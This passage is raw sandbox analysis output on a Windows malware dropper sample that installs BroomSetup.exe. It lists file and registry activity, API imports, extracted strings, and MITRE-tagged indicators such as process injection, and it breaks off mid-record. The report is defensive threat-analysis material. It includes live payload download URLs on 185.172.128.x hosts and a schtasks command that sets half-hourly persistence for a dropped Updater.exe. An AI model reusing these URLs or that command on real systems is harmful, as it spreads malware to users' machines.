"46d44e00b19778dfb3f9615c774c8589.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCookies" "46d44e00b19778dfb3f9615c774c8589.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History" "46d44e00b19778dfb3f9615c774c8589.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\LSCBY323\ping[1].htm" "46d44e00b19778dfb3f9615c774c8589.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\9SSPAW46\syncUpd[1].exe" "46d44e00b19778dfb3f9615c774c8589.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\4EKOOWYY\ping[1].htm" "BroomSetup.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "BroomSetup.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches"3b:T982,"46d44e00b19778dfb3f9615c774c8589.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "46d44e00b19778dfb3f9615c774c8589.exe" trying to access non-existent file "C:\FLTLIB.DLL" "46d44e00b19778dfb3f9615c774c8589.exe" trying to access non-existent file "C:\Windows\SysWOW64\RPCSS.DLL" "46d44e00b19778dfb3f9615c774c8589.exe" trying to access non-existent file "C:\WINDOWS\system32\rpcss.dll" "46d44e00b19778dfb3f9615c774c8589.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\BROOMSETUP.EXE" "46d44e00b19778dfb3f9615c774c8589.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\BroomSetup.exe" "46d44e00b19778dfb3f9615c774c8589.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\nsqEDB3.tmp\INETC.DLL" "46d44e00b19778dfb3f9615c774c8589.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\nsqEDB3.tmp\INetC.dll" "46d44e00b19778dfb3f9615c774c8589.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\nsqEDB3.tmp\WININET.DLL" "46d44e00b19778dfb3f9615c774c8589.exe" trying to access non-existent file "C:\Windows\SysWOW64\OnDemandConnRouteHelper.dll" "BroomSetup.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "BroomSetup.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\VERSION.DLL" "BroomSetup.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\NETAPI32.DLL" "BroomSetup.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\WTSAPI32.DLL" "BroomSetup.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IPHLPAPI.DLL" "BroomSetup.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\BCRYPT.DLL" "BroomSetup.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\FLTLIB.DLL" "BroomSetup.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\SAMCLI.DLL" "BroomSetup.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\WKSCLI.DLL" "BroomSetup.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\wkscli.dll" "BroomSetup.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\CSCAPI.DLL" "BroomSetup.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\cscapi.dll"3c:T561,Found reference to API "HttpSendRequestExW" (Indicator: "HttpSendRequest"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API "HttpSendRequestW" (Indicator: "HttpSendRequest"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API "HttpQueryInfoW" (Indicator: "HttpQueryInfo"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API "InternetConnectW" (Indicator: "InternetConnect"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API "HttpOpenRequestW" (Indicator: "HttpOpenRequest"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp")3d:Td5e,Heuristic match: "+5.As" Heuristic match: "8d.iS" Heuristic match: "-X*K.uS" Heuristic match: "$_.gb" Heuristic match: "At.KZ" Heuristic match: "ue.rW" Heuristic match: "NS.Ki" Pattern match: "http://nsis.sf.net/NSIS_Error" Pattern match: "SPj-SPj.SPj/SPj0SPjDSPjESPjFSPjGSPjHSPjISPjJSPjKSPjLSPjMSPjNSPjOSjPj8SPj9SPj:SPj;SPj" Heuristic match: "%WINDIR%\SysWOW64\chcp.com" Heuristic match: "%WINDIR%\system32\chcp.com" Pattern match: "http://185.172.128.90/cpa/ping.php?substr=eight&s=ab" Pattern match: "http://185.172.128.127/syncUpd.exe" Pattern match: "http://185.172.128.109/syncUpd.exe" Pattern match: "http://185.172.128.127/ping.php?substr=eight" Pattern match: "http://www.bing.com/" Pattern match: "http://185.172.128.90/" Heuristic match: "Font.Name" Heuristic match: "Margins.Top" Pattern match: "http://www.virtualbox.org" Pattern match: "http://go.microsoft.com/fwlink/?LinkID=215117" Pattern match: "http://go.microsoft.com/fwlink/?LinkID=223554" Pattern match: "http://support.microsoft.com/kb/4023057" Pattern match: "http://www.cacetech.com" Pattern match: "http://www.winpcap.org" Pattern match: "http://www.autoitscript.com/autoit3" Pattern match: "https://www.wireshark.org" Pattern match: "https://ask.wireshark.org/" Pattern match: "https://www.wireshark.org/download.html" Pattern match: "http://www.adobe.com/support/main.html" Pattern match: "http://www.adobe.com/products/acrobat/readstep.html" Pattern match: "http://www.adobe.com" Pattern match: "http://java.com/help" Pattern match: "http://java.com" Pattern match: "http://java.sun.com" Pattern match: "https://support.mozilla.org" Pattern match: "https://www.mozilla.org" Pattern match: "https://www.mozilla.org/firefox/64.0/releasenotes" Pattern match: "https://npcap.com/#download" Pattern match: "https://npcap.com/" Pattern match: "www.onet[1].xml" Pattern match: "www.embarcadero.com" Heuristic match: "Bitmap.Name" Heuristic match: "Bitmap.Top" Heuristic match: "BitmapHot.Name" Heuristic match: "BitmapHot.Top" Heuristic match: "BitmapFocused.Name" Heuristic match: "BitmapFocused.Top" Heuristic match: "BitmapPressed.Name" Heuristic match: "BitmapPressed.Top" Heuristic match: "BitmapDisabled.Name" Heuristic match: "BitmapDisabled.Top" Heuristic match: "ActiveBitmap.Name" Heuristic match: "ActiveBitmap.Top" Heuristic match: "ActiveFont.Name" Heuristic match: "itmapPressed.Top" Heuristic match: "ont.Name" Heuristic match: "tmap.Top" Heuristic match: "t.Name" Heuristic match: "style.pn" Heuristic match: "sabled.Name" Heuristic match: "pFocused.Top" Heuristic match: "pHot.Name" Heuristic match: "ystem.ActivityHistory.Id" Heuristic match: "ystem.AppUserModel.ID" Heuristic match: "ystem.IdentityProvider.Name" Heuristic match: "ystem.Protocol.Name" Heuristic match: "ystem.SAM.Name" Heuristic match: "ystem.StructuredQuery.Is" Heuristic match: "ystem.StructuredQuery.Virtual.Cc" Heuristic match: "ystem.StructuredQuery.Virtual.To" Heuristic match: "System.ActivityHistory.Id" Heuristic match: "System.IdentityProvider.Name" Heuristic match: "System.SAM.Name" Heuristic match: "System.StructuredQuery.Virtual.Cc" Heuristic match: "System.StructuredQuery.Virtual.To" Heuristic match: "System.StructuredQuery.Is" Heuristic match: "System.Protocol.Name" Heuristic match: "System.AppUserModel.ID" Heuristic match: "System.StructuredQueryType.Implicit.Is"3e:T2ee2,Found URL "http://nsis.sf.net/nsis_errorerror" - Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp") Found URL "http://185.172.128.90/cpa/ping.php?substr=eight&s=ab/silent/tostack/nocancelhttp://185.172.128.127/syncupd.exehttp://185.172.128.109/syncupd.exehttp://185.172.128.127/ping.php?substr=eightsoftware\broomcleanerinstallederror!" - Source: "00000000-00005136.00000000.66966.03350000.00000004.mdmp") Found URL "http://www.bing.com/:\users\hapubws??\c:\users\hapubws:\users\hapubws185.172.128.90:\users\hapubwsrpc-c4075a70500fab60a5:\users\hapubws??\c:\users\hapubwsdevice\afd\endpoint??\c:\users\hapubws:\users\hapubwsdevice\afd\endpointttp://185.172.128.90/cpa/ping.php?substr=eight&s=aboftware\microsoft\windows\currentversion\internet" - Source: "00000000-00005136.00000000.66966.03350000.00000004.mdmp") Found URL "http://185.172.128.90/cpa/ping.php?substr=eight&s=abs" - Source: "00000000-00005136.00000000.66966.03350000.00000004.mdmp") Found URL "http://185.172.128.90/cpa/ping.php?substr=eight&s=abhttp://185.172.128.90/cpa/ping.php?substr=eight&s=ab^$z]/c:\usershapubwsappdataroamingmicrosoftwindowslibraries/c:\usershapubwsdocuments^" - Source: "00000000-00005136.00000000.66966.03350000.00000004.mdmp") Found URL "http://185.172.128.90/cpa/ping.php?substr=eight&s=ab=rr9v^=z]mvvi," - Source: "00000000-00005136.00000000.66966.03350000.00000004.mdmp") Found URL "http://185.172.128.90/^2z]=rr9vvz]" - Source: "00000000-00005136.00000000.66966.03350000.00000004.mdmp") Found URL "http://www.virtualbox.orgoracle" - Source: "00000000-00007532.00000000.67131.03200000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=215117microsoft" - Source: "00000000-00007532.00000000.67131.03200000.00000004.mdmp") Found URL "http://support.microsoft.com/kb/4023057c:\windows\softwaredistribution\download\eb561161694e9fba93423cc2a2678b78\img\update" - Source: "00000000-00007532.00000000.67131.03200000.00000004.mdmp") Found URL "http://www.cacetech.comwinpcap" - Source: "00000000-00007532.00000000.67131.03200000.00000004.mdmp") Found URL "http://www.autoitscript.com/autoit3autoit" - Source: "00000000-00007532.00000000.67131.03200000.00000004.mdmp") Found URL "https://www.wireshark.orgc:\program" - Source: "00000000-00007532.00000000.67131.03200000.00000004.mdmp") Found URL "https://ask.wireshark.org/wireshark" - Source: "00000000-00007532.00000000.67131.03200000.00000004.mdmp") Found URL "http://www.adobe.com/support/main.htmlc:\windows\installer\" - Source: "00000000-00007532.00000000.67131.03200000.00000004.mdmp") Found URL "http://support.microsoft.com/kb/4023057c:\windows\softwaredistribution\download\1eb060e9b9d3cbeb39c83f2a9722294e\img\update" - Source: "00000000-00007532.00000000.67131.03200000.00000004.mdmp") Found URL "http://java.com/helpc:\users\hapubws\appdata\locallow\oracle\java\jre1.8.0_161\http://java.comjava" - Source: "00000000-00007532.00000000.67131.03200000.00000004.mdmp") Found URL "https://support.mozilla.orgmozilla" - Source: "00000000-00007532.00000000.67131.03200000.00000004.mdmp") Found URL "https://npcap.com/" - Source: "00000000-00007532.00000000.67131.03200000.00000004.mdmp") Found URL "https://npcap.com/oracle" - Source: "00000000-00007532.00000001.69050.03200000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=215117microsoft" - Source: "00000000-00007532.00000001.69050.03200000.00000004.mdmp") Found URL "http://support.microsoft.com/kb/4023057c:\windows\softwaredistribution\download\eb561161694e9fba93423cc2a2678b78\img\update" - Source: "00000000-00007532.00000001.69050.03200000.00000004.mdmp") Found URL "http://www.cacetech.comwinpcap" - Source: "00000000-00007532.00000001.69050.03200000.00000004.mdmp") Found URL "http://www.autoitscript.com/autoit3autoit" - Source: "00000000-00007532.00000001.69050.03200000.00000004.mdmp") Found URL "https://www.wireshark.orgc:\program" - Source: "00000000-00007532.00000001.69050.03200000.00000004.mdmp") Found URL "https://ask.wireshark.org/wireshark" - Source: "00000000-00007532.00000001.69050.03200000.00000004.mdmp") Found URL "http://www.adobe.com/support/main.htmlc:\windows\installer\" - Source: "00000000-00007532.00000001.69050.03200000.00000004.mdmp") Found URL "http://support.microsoft.com/kb/4023057c:\windows\softwaredistribution\download\1eb060e9b9d3cbeb39c83f2a9722294e\img\update" - Source: "00000000-00007532.00000001.69050.03200000.00000004.mdmp") Found URL "http://java.com/helpc:\users\hapubws\appdata\locallow\oracle\java\jre1.8.0_161\http://java.comjava" - Source: "00000000-00007532.00000001.69050.03200000.00000004.mdmp") Found URL "https://support.mozilla.orgmozilla" - Source: "00000000-00007532.00000001.69050.03200000.00000004.mdmp") Found URL "https://npcap.com/" - Source: "00000000-00007532.00000001.69050.03200000.00000004.mdmp") Found URL "https://npcap.com/oracle" - Source: "00000000-00007532.00000002.70970.03200000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=215117microsoft" - Source: "00000000-00007532.00000002.70970.03200000.00000004.mdmp") Found URL "http://support.microsoft.com/kb/4023057c:\windows\softwaredistribution\download\eb561161694e9fba93423cc2a2678b78\img\update" - Source: "00000000-00007532.00000002.70970.03200000.00000004.mdmp") Found URL "http://www.cacetech.comwinpcap" - Source: "00000000-00007532.00000002.70970.03200000.00000004.mdmp") Found URL "http://www.autoitscript.com/autoit3autoit" - Source: "00000000-00007532.00000002.70970.03200000.00000004.mdmp") Found URL "https://www.wireshark.orgc:\program" - Source: "00000000-00007532.00000002.70970.03200000.00000004.mdmp") Found URL "https://ask.wireshark.org/wireshark" - Source: "00000000-00007532.00000002.70970.03200000.00000004.mdmp") Found URL "http://www.adobe.com/support/main.htmlc:\windows\installer\" - Source: "00000000-00007532.00000002.70970.03200000.00000004.mdmp") Found URL "http://support.microsoft.com/kb/4023057c:\windows\softwaredistribution\download\1eb060e9b9d3cbeb39c83f2a9722294e\img\update" - Source: "00000000-00007532.00000002.70970.03200000.00000004.mdmp") Found URL "http://java.com/helpc:\users\hapubws\appdata\locallow\oracle\java\jre1.8.0_161\http://java.comjava" - Source: "00000000-00007532.00000002.70970.03200000.00000004.mdmp") Found URL "https://support.mozilla.orgmozilla" - Source: "00000000-00007532.00000002.70970.03200000.00000004.mdmp") Found URL "https://npcap.com/" - Source: "00000000-00007532.00000002.70970.03200000.00000004.mdmp") Found URL "https://npcap.com/ Microsoft Corporation\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"level":"informative","category":"Unusual Characteristics","name":"Possibly uses a Windows Server utility","description":"\"#c:\\windows\\system32\\licensingui.exe\" (Indicator: \"licensingui.exe\")","origin":"File/Memory","relevance":10,"id":"string-65","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"46d44e00b19778dfb3f9615c774c8589.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"46d44e00b19778dfb3f9615c774c8589.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"BroomSetup.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"BroomSetup.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"nsgF90E.tmp\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".text with unusual entropies 7.42427304098","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":3,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Contains ability to use Microsoft's Enhanced Cryptographic Provider","description":"Found api reference \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00007532.00000000.67131.03200000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":2,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Dropped file has high entropy (likely encrypted/compressed content)","description":"Dropped file \"%TEMP%\\nsgF90E.tmp\" has high entropy 7.015176654566452","origin":"Binary File","mitre_attack_id":"T1027","relevance":5,"id":"binary-60","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"level":"suspicious","category":"Environment Awareness","name":"Calls an API typically used to retrieve configuration of a workstation","description":"\"BroomSetup.exe\" called \"NetWkstaGetInfo\" (UID: 00000000-00007532)","origin":"API Call","mitre_attack_id":"T1016","relevance":5,"id":"api-156","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure","description":"GetStartupInfoW@KERNEL32.dll at 48610-1-00401705","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1543","relevance":5,"id":"stream-133","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"$46","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"BroomSetup.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- Location: [%TEMP%\\BroomSetup.exe]- [targetUID: 00000000-00005136]\n \"INetC.dll\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"- Location: [%TEMP%\\nsqEDB3.tmp\\INetC.dll]- [targetUID: 00000000-00005136]\n \"nsgF90E.tmp\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- Location: [%TEMP%\\nsgF90E.tmp]- [targetUID: 00000000-00007428]\n \"syncUpd_1_.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- [targetUID: N/A]","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$47","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 185.172.128.90 on port 80 is sent without HTTP header\n TCP traffic to 185.172.128.127 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"level":"suspicious","category":"Network Related","name":"Uses a browser-related user-agent without launching browser","description":"Found user-agent(s): NSIS_Inetc (Mozilla)","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"46d44e00b19778dfb3f9615c774c8589.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"46d44e00b19778dfb3f9615c774c8589.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nszEAE3.tmp\" for deletion\n \"46d44e00b19778dfb3f9615c774c8589.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsqEDB3.tmp\" for deletion\n \"46d44e00b19778dfb3f9615c774c8589.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsqEDB3.tmp\\INetC.dll\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"46d44e00b19778dfb3f9615c774c8589.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nszEAE3.tmp\" with delete access\n \"46d44e00b19778dfb3f9615c774c8589.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsqEDB3.tmp\" with delete access\n \"46d44e00b19778dfb3f9615c774c8589.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsqEDB3.tmp\\INetC.dll\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"46d44e00b19778dfb3f9615c774c8589.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"nsgF90E.tmp\" claimed CRC 331331 while the actual is CRC 27040","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"RegCreateKeyExW\n RegDeleteValueW\n RegCloseKey\n OpenProcessToken\n RegEnumKeyW\n RegOpenKeyExW\n RegDeleteKeyW\n CopyFileW\n GetModuleFileNameW\n GetVersionExW\n GetFileAttributesW\n GetFileSize\n GetCommandLineW\n LoadLibraryExW\n CreateDirectoryW\n DeleteFileW\n GetProcAddress\n GetTempFileNameW\n GetModuleHandleA\n CreateThread\n GetSystemDirectoryW\n FindNextFileW\n GetTempPathW\n FindFirstFileW\n GetModuleHandleW\n WriteFile\n CreateFileW\n CreateProcessW\n Sleep\n GetTickCount\n ShellExecuteExW\n FindWindowExW\n LoadLibraryA\n CreateFileA\n SleepEx\n HttpQueryInfoW\n InternetOpenW\n InternetConnectW\n InternetWriteFile\n HttpSendRequestExW\n InternetCloseHandle\n InternetCrackUrlW\n InternetQueryOptionW\n HttpSendRequestW\n InternetReadFile\n FtpOpenFileW\n UnhandledExceptionFilter\n IsDebuggerPresent\n GetModuleFileNameA\n TerminateProcess\n GetModuleHandleExA\n LoadLibraryW\n GetStartupInfoW\n GetCommandLineA","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"nsgF90E.tmp\" called \"CreateProcessA\" with parameter \"%TEMP%\\nsgF90E.tmp\" - (UID: 00000000-00007428)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"level":"malicious","category":"General","name":"Calls an API typically used to execute an application","description":"\"BroomSetup.exe\" called \"ShellExecuteW\" with parameter %TEMP%\\Updater.exe (UID: 00000000-00007532)","origin":"API Call","mitre_attack_id":"T1106","relevance":10,"id":"api-117","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"level":"malicious","category":"Installation/Persistence","name":"Loads the task scheduler COM API","description":"\"schtasks.exe\" loaded module \"%WINDIR%\\SysWOW64\\taskschd.dll\" at 73B90000","origin":"Loaded Module","mitre_attack_id":"T1559.001","relevance":5,"id":"module-4","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"level":"malicious","category":"Installation/Persistence","name":"Schedules a task to be executed at a specific time and date","description":"Process \"schtasks.exe\" with commandline \"schtasks /create /tn \"MalayamaraUpdate\" /tr \"'%TEMP%\\\\Updater.exe'\" /sc minute /mo 30 /F\" (UID: 00000000-00005700)","origin":"Monitored Target","mitre_attack_id":"T1053.005","relevance":8,"id":"target-13","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"level":"malicious","category":"Installation/Persistence","name":"Sets a computer-based training (CBT) hook","description":"\"BroomSetup.exe\" sets a callback procedure (5c886c) using filter \"WH_CBT\" for process ID: 1d6c","origin":"API Call","mitre_attack_id":"T1056.004","relevance":10,"id":"api-74","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"level":"malicious","category":"Installation/Persistence","name":"Sets thread context in a remote process (often injection or process hollowing)","description":"\"nsgF90E.tmp\" set thread context in remote process \"%TEMP%\\nsgF90E.tmp\" (PID: 1c14)","origin":"API Call","mitre_attack_id":"T1055.012","relevance":10,"id":"api-14","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$48","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"level":"malicious","category":"Network Related","name":"Found unknown user-agent(s)","description":"Found the following user-agents: NSIS_Inetc (Mozilla)","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-56","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"Spawned process \"46d44e00b19778dfb3f9615c774c8589.exe\" (UID: 00000000-00005136)\n Spawned process \"BroomSetup.exe\" (UID: 00000000-00007532)\n Spawned process \"nsgF90E.tmp\" (UID: 00000000-00007428)\n Spawned process \"cmd.exe\" with commandline \"%WINDIR%\\\\system32\\\\cmd.exe /c \"\"%APPDATA%\\\\Temp\\\\Task.bat\" \"\" (UID: 00000000-00007012)\n Spawned process \"nsgF90E.tmp\" (UID: 00000000-00007188)\n Spawned process \"WerFault.exe\" with commandline \"-pss -s 392 -p 7188 -ip 7188\" (UID: 00000000-00005128)\n Spawned process \"WerFault.exe\" with commandline \"-u -p 7188 -s 8\" (UID: 00000000-00004020)\n Spawned process \"chcp.com\" with commandline \"chcp 1251\" (UID: 00000000-00006464)\n Spawned process \"schtasks.exe\" with commandline \"schtasks /create /tn \"MalayamaraUpdate\" /tr \"'%TEMP%\\\\Updater.exe'\" /sc minute /mo 30 /F\" (UID: 00000000-00005700)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]}],"incidents":[{"name":"Spyware","details_count":2,"details":[{"detail":"Sets a computer-based training (CBT) hook"},{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"name":"Persistence","details_count":3,"details":[{"detail":"Writes data to a remote process"},{"detail":"Schedules a task to be executed at a specific time and date"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"name":"Fingerprint","details_count":4,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"}],"sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"name":"Evasive","details_count":3,"details":[{"detail":"Marks file for deletion"},{"detail":"Contains ability to terminate a process"},{"detail":"Input file contains API references not part of its Import Address Table (IAT)"}],"sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"name":"Exploit","details_count":1,"details":[{"detail":"GETs/downloads executable files from web server"}],"sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"name":"Network","details_count":1,"details":[{"detail":"Calls an API typically used to create a HTTP or FTP 